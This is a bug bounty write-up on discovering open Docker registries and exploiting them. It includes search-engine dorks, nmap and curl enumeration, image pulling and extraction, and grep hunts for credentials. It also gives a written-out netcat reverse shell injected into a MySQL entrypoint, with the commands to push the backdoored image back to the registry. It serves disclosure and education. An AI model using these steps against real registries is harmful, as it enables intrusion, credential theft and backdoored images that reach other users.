Hacking Open Docker Registries: Pulling, Extracting, and Exploiting Images.
Discovering secrets in exposed container images and leveraging misconfigurations for deeper access

DDocker simplifies app deployment with portable containers, but misconfigured registries can expose private images containing hardcoded credentials, API keys, and misconfigured services — posing serious security risks.
I recently discovered an open Docker registry in a private, invite-only bug bounty program for a major US-based retailer. This critical issue granted access to their production and UAT panels with super-user privileges, exposing multiple internal applications. In this article, I explain how I found and exploited this vulnerability and I will walk through the step-by-step process of discovering, extracting, and analyzing open Docker registries.
Additionally, we will explore how an attacker could exploit these registries by injecting a backdoored image — if the registry permits anonymous image uploads — to achieve RCE.
⚠️ Disclaimer: This guide is for educational purposes only. Unauthorized access to computer systems is illegal. Always obtain proper authorization and follow responsible disclosure practices.
Step 1: Finding Open Docker Registries
Misconfigured Docker registries are often exposed to the internet without authentication. There are a few ways to find them.
Method 1: Using FOFA, Shodan or Google Dorks
Deep Search engines like FOFA and Shodan can reveal public Docker registries.
To search on FOFA, use:
"docker registry http api" && port="5000"
On Shodan, a similar query would be:
"Docker-Distribution-Api-Version" "HTTP/1.1 200 OK"
To find open Docker registries using Google Dorks, you can use the following queries:
Searching for Exposed Docker Registry APIs:
intitle:"Docker Registry" inurl:/v2/ -github
This searches for open Docker registries that expose their v2 API endpoints.
Searching for Publicly Indexed Docker Registries:
inurl:"v2/_catalog" -github
Above dork looks for Docker registries listing available repositories through the _catalog
endpoint.
Finding Open Docker Registry APIs with Ports:
This finds Docker registries running on port 5000, which is the default for private registries.
Searching for Misconfigured Docker Registries with Anonymous Access:
"200 OK" inurl:5000/v2/_catalog
This looks for exposed registries that return a successful HTTP 200 response, meaning they might allow anonymous access.
Checking for Open Docker Registries with Login Disabled:
inurl:5000 "Docker-Distribution-API-Version: registry/2.0"
This identifies Docker registries that expose their API version, often indicating a misconfigured setup. These searches will return a list of IP addresses hosting exposed Docker registries.
Unsecured Docker API (HTTP, Port 2375)
inurl:"2375/version" "docker"
Open Docker Private Registries (Port 5000)
inurl:"5000/v2/_catalog"
Open Kubernetes API Server (Port 6443)
inurl:"6443" intitle:"Kubernetes"
Open Portainer Web UI (Port 9000)
intitle:"Portainer" inurl:"9000"
Exposed Docker Swarm Nodes (Port 2377)
inurl:"2377" "Docker Swarm"
Common Docker Ports:
Docker services can be found running on several common ports, depending on the configuration and exposure of the registry, API, and daemon. Here are the most frequently used ports:

Method 2: Scanning with Nmap
Nmap can be used to scan for Docker Registry APIs running on common ports.
nmap -p 2375,2376,5000,7946,4789,8080,9090,6443,58000 --script http-title,http-headers 1.2.3.4
- Port 2375 → Docker API without TLS
- Port 2376 → Docker API with TLS
- Port 5000 → Default Docker Registry
- Port 58000 → Custom Registry Ports
If a registry is publicly accessible, it can be queried to see what repositories it contains.

Step 2: Enumerating Docker Repositories
Once an open Docker registry has been found, the next step is to list the available repositories. This can be done using the following command:
curl -X GET http://<target-ip>:58000/v2/_catalog
Note: Change PORT accordingly
If the registry is not protected, the response will return a list of container images. In my case I found the following:
{
"repositories":[
"arm64v8/nextcloud",
"library/a****",
"library/*****",
"library/mysql"
]
}

Above listed repositories contain containerized applications, and the next step is to check what versions (tags) are available.
Step 3: Checking Available Tags
Tags are: Each container image has multiple versions, which are referred as tags. To find available tags for a specific repository, use:
curl -X GET http://<target-ip>:58000/v2/library/mysql/tags/list
A successful response might return something like this:
{
"name": "library/mysql",
"tags": ["5.7.44", "8.0.40", "latest"]
}
If valid tags exist, we can proceed to downloading the image.

Step 4: Pulling the Docker Image
Once an open registry has been found with a list of available repositories and tags, the next step is to pull an image from the registry.
docker pull --tls-verify=false <target-ip>:58000/library/mysql:latest
or
podman pull --tls-verify=false <target-ip>:58000/library/mysql:latest
This will download the entire MySQL container image from the registry to the local machine.

Note: Podman stores container images in overlay storage under the default storage location, which depends on the operating system and configuration.
Default Storage Paths for Podman Images:
Root User (Default)/var/lib/containers/storage/overlay/
Non-root User$HOME/.local/share/containers/storage/overlay/
Step 5: Extracting and Analyzing the Image for Sensitive Information
As I said ealier, docker images often contain configuration files, stored credentials, and other sensitive data that attackers can use.
Extracting the Image
Once the image is downloaded, it needs to be saved and extracted for analysis.
docker save -o mysql.tar <target-ip>:58000/library/mysql:latest

Extract the contents:
mkdir extracted && tar -xf mysql.tar -C extracted
The above commnd creates a folder “extracted” and extracts the content of mysql.tar in to it. The next step is to look for sensitive data.

Hunting for Credentials
Search for passwords, API keys, or authentication tokens inside the extracted files:
grep -r "password" extracted
grep -r "api_key" extracted
grep -r "root" extracted
In my case I found multiple credentials and API keys as shown in below screenshot:

Common places where credentials might be stored:
- Configuration files (
.env
,config.json
,my.cnf
) - MySQL root credentials (
/root/.my.cnf
) - Application environment variables (
/etc/profile.d/
)
Step 6: Checking for Weak MySQL Configurations
Find the MySQL Configuration File (my.cnf
)
find extracted -name "my.cnf"
Some settings that indicate weak security:
bind-address = 0.0.0.0
→ MySQL is listening on all interfaces, allowing remote connections.skip-grant-tables
→ Disables authentication, allowing anyone to log in as root.root
credentials stored in.my.cnf
→ Might contain plaintext passwords.

Checking for MySQL Dumps
Some images contain database backups in .sql
format.
find extracted -name "*.sql"
Extract user credentials from database dumps:
cat extracted/var/lib/mysql/mysql.sql | grep "INSERT INTO users"
If usernames and hashed passwords are stored in the database, they can be cracked using hashcat
or john
.
Step 7: Injecting a Backdoored Image (If Pushing is Allowed)
If the registry allows anonymous pushing, an attacker could replace an image with a modified version that contains a backdoor.
Check If Pushing is Allowed
docker login --tls-verify=false <target-ip>:58000
If the login succeeds, attacker can modify an image and upload it back.

I stopped at this point. The “Login Success” message indicates that the Docker registry allows anonymous login, enabling me to run a reverse shell.
Modify MySQL Startup Script
Inject a reverse shell:
echo 'nc -e /bin/bash 1.2.3.4 5555' >> /usr/local/bin/mysql-entrypoint.sh
Then, re-tag and push the modified image:
docker tag mysql-backdoor <target-ip>:58000/library/mysql:backdoored
docker push <target-ip>:58000/library/mysql:backdoored
If an rootuser/admin pulls and runs the backdoored image, the attacker gains remote access.
Conclusion
Misconfigured Docker registries are a significant security risk. Attackers can pull sensitive container images, extract credentials, and even push backdoored images if the registry allows anonymous uploads.
How to Protect Against This?
- Disable anonymous access to registries
- Require authentication (
docker login
) - Restrict access to ports (
5000
,58000
) - Use secure configurations (
HTTPS
instead of HTTP)
Thank you for reading
-nav1n0x